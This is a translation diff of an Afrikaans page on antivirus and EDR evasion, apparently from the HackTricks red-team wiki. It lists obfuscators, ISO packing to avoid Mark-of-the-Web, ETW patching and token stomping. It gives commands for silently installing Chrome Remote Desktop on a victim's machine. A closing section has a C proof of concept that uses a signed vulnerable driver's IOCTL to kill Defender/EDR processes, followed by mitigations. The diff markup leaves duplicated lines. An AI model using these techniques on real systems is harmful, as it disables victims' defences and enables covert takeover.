toepassings. Dit bied verskeie beskermingstegnieke soos kontrole vloei obfuskering, anti-debugging, anti-tampering, en string enkripsie. Dit word aanbeveel omdat dit selfs toelaat om spesifieke stukke kode te obfuskeer. +- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskeerder** +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-vork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskering]() en tamper-proofing. +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die kompilateur te wysig. +- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word, wat die lewe van die persoon wat die toepassing wil kraak, 'n bietjie moeiliker sal maak. +- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskeie verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys - [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers. -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuscation raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskering raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai. @@ -243,20 +251,20 @@ Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die e
-SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewone afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed dat die lêer uitgevoer word (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Tog uitvoer te klik). +SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewone afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Voortgaan te klik). **MoTW** (Mark of The Web) is 'n [NTFS Alternatiewe Data Stroom]() met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.

Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.

-> [!NOTE] +> [!TIP] > Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie. -'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit in 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie. +'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit binne 'n soort houer soos 'n ISO te verpakkie. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n hulpmiddel wat payloads in uitvoerhouers verpak om die Mark-of-the-Web te ontwyk. +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n hulpmiddel wat payloads in uitvoerhouers verpakkie om die Mark-of-the-Web te ontduik. Voorbeeld gebruik: ```bash @@ -286,9 +294,9 @@ Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpa ## ETW -Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toelaat dat toepassings en stelseldelers **gebeurtenisse log**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en op te spoor. +Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toepassings en stelseldelers toelaat om **gebeurtenisse** te **log**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en op te spoor. -Soos wat AMSI gedeaktiveer (omgegaan) word, is dit ook moontlik om die **`EtwEventWrite`** funksie van die gebruikersruimte proses onmiddellik te laat terugkeer sonder om enige gebeurtenisse te log. Dit word gedoen deur die funksie in geheue te patch om onmiddellik terug te keer, wat ETW-logging vir daardie proses effektief deaktiveer. +Soos AMSI gedeaktiveer (omgegaan) kan word, is dit ook moontlik om die **`EtwEventWrite`** funksie van die gebruikersruimte proses onmiddellik te laat terugkeer sonder om enige gebeurtenisse te log. Dit word gedoen deur die funksie in geheue te patch om onmiddellik terug te keer, wat ETW-logging vir daardie proses effektief deaktiveer. Jy kan meer inligting vind in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) en [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. @@ -302,17 +310,17 @@ Die meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens. - **Fork\&Run** -Dit behels **die ontstaan van 'n nuwe offersproses**, injecteer jou post-exploitatie kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitentoe** ons Beacon-implantaatsproses plaasvind. Dit beteken dat as iets in ons post-exploitatie aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaats oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word. +Dit behels **die ontstaan van 'n nuwe offer proses**, spuit jou post-exploitatie kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitentoe** ons Beacon implantaats proses plaasvind. Dit beteken dat as iets in ons post-exploitatie aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaats oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word.
- **Inline** -Dit gaan oor die injectering van die post-exploitatie kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **veel groter kans** is om **jou beacon te verloor** aangesien dit kan crash. +Dit gaan oor die spuit van die post-exploitatie kwaadwillige kode **in sy eie proses**. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit deur AV te laat skandeer, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou payload, daar 'n **veel groter kans** is om **jou beacon te verloor** aangesien dit kan crash.
-> [!NOTE] +> [!TIP] > As jy meer wil lees oor C# Assembly laai, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t se video](https://www.youtube.com/watch?v=oe11Q-3Akuk). @@ -327,7 +335,7 @@ Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP ## TokenStomping -Token stomping is 'n tegniek wat 'n aanvaller toelaat om die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te **manipuleer**, wat hulle toelaat om die voorregte te verminder sodat die proses nie sterf nie, maar dit sal nie toestemming hê om kwaadwillige aktiwiteite na te gaan nie. +Token stomping is 'n tegniek wat 'n aanvaller toelaat om die toegangstoken of 'n sekuriteitsproduk soos 'n EDR of AV te **manipuleer**, wat hulle toelaat om dit se voorregte te verminder sodat die proses nie sal sterf nie, maar dit sal nie toestemming hê om kwaadwillige aktiwiteite na te gaan nie. Om dit te voorkom, kan Windows **eksterne prosesse** verhinder om handvatsels oor die tokens van sekuriteitsprosesse te verkry. @@ -335,6 +343,16 @@ Om dit te voorkom, kan Windows **eksterne prosesse** verhinder om handvatsels oo - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) +## Gebruik van Betroubare Sagteware + +### Chrome Remote Desktop + +Soos beskryf in [**hierdie blogpos**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), is dit maklik om net die Chrome Remote Desktop op 'n slagoffer se rekenaar te ontplooi en dit dan te gebruik om dit oor te neem en volharding te handhaaf: +1. Laai af van https://remotedesktop.google.com/, klik op "Stel op via SSH", en klik dan op die MSI-lêer vir Windows om die MSI-lêer af te laai. +2. Voer die installer stil in die slagoffer uit (admin benodig): `msiexec /i chromeremotedesktophost.msi /qn` +3. Gaan terug na die Chrome Remote Desktop-bladsy en klik volgende. Die wizard sal jou dan vra om te autoriseer; klik op die Autoriseer-knoppie om voort te gaan. +4. Voer die gegewe parameter met 'n paar aanpassings uit: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Let op die pin parameter wat toelaat om die pin in te stel sonder om die GUI te gebruik). + ## Gevorderde Ontwyking Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings. @@ -360,9 +378,9 @@ https://www.youtube.com/watch?v=IbA7Ung39o4 Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou sal skei.\ Nog 'n hulpmiddel wat die **selfde ding doen is** [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) -### **Telnet Bediening** +### **Telnet Server** -Tot Windows10, het alle Windows met 'n **Telnet bediener** gekom wat jy kon installeer (as administrateur) deur: +Tot Windows10, het alle Windows met 'n **Telnet-server** gekom wat jy kon installeer (as administrateur) deur: ```bash pkgmgr /iu:"TelnetServer" /quiet ``` @@ -541,7 +559,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) -### Gebruik python vir die bou van inspuiters voorbeeld: +### Gebruik python vir die bou van injectors voorbeeld: - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) @@ -574,4 +592,45 @@ https://github.com/praetorian-code/vulcan - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) +## Bring Your Own Vulnerable Driver (BYOVD) – Dood AV/EDR Vanuit Kernel Ruimte + +Storm-2603 het 'n klein konsole nut bekend as **Antivirus Terminator** gebruik om eindpunt beskermings te deaktiveer voordat ransomware afgelaai word. Die hulpmiddel bring sy **eie kwesbare maar *onderteken* bestuurder** en misbruik dit om bevoorregte kernel operasies uit te voer wat selfs Protected-Process-Light (PPL) AV dienste nie kan blokkeer nie. + +Belangrike take-aways +1. **Onderteken bestuurder**: Die lêer wat na skyf gelewer word is `ServiceMouse.sys`, maar die binêre is die wettig ondertekende bestuurder `AToolsKrnl64.sys` van Antiy Labs se “System In-Depth Analysis Toolkit”. Omdat die bestuurder 'n geldige Microsoft-handtekening het, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) geaktiveer is. +2. **Diensinstallasie**: +```powershell +sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" +sc start ServiceMouse +``` +Die eerste lyn registreer die bestuurder as 'n **kernel diens** en die tweede begin dit sodat `\\.\ServiceMouse` vanaf gebruikersland toeganklik word. +3. **IOCTLs blootgestel deur die bestuurder** +| IOCTL kode | Vermoë | +|-----------:|------------------------------------------| +| `0x99000050` | Beëindig 'n arbitrêre proses deur PID (gebruik om Defender/EDR dienste te dood) | +| `0x990000D0` | Verwyder 'n arbitrêre lêer op skyf | +| `0x990001D0` | Laai die bestuurder af en verwyder die diens | + +Minimale C bewys-van-konsep: +```c +#include + +int main(int argc, char **argv){ +DWORD pid = strtoul(argv[1], NULL, 10); +HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL); +CloseHandle(hDrv); +return 0; +} +``` +4. **Waarom dit werk**: BYOVD omseil gebruikersmodus beskermings heeltemal; kode wat in die kernel uitvoer, kan *beskermde* prosesse oopmaak, hulle beëindig of met kernel-objekte tamper ongeag PPL/PP, ELAM of ander verharde funksies. + +Detectie / Mitigering +• Aktiveer Microsoft se kwesbare-bestuurder bloklys (`HVCI`, `Smart App Control`) sodat Windows weier om `AToolsKrnl64.sys` te laai. +• Monitor die skepping van nuwe *kernel* dienste en waarsku wanneer 'n bestuurder gelaai word vanaf 'n wêreld-skryfbare gids of nie op die toelaatlys is nie. +• Kyk vir gebruikersmodus handvatsels na pasgemaakte toestelobjekte gevolg deur verdagte `DeviceIoControl` oproepe. + +## Verwysings + +- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) {{#include ../banners/hacktricks-training.md}}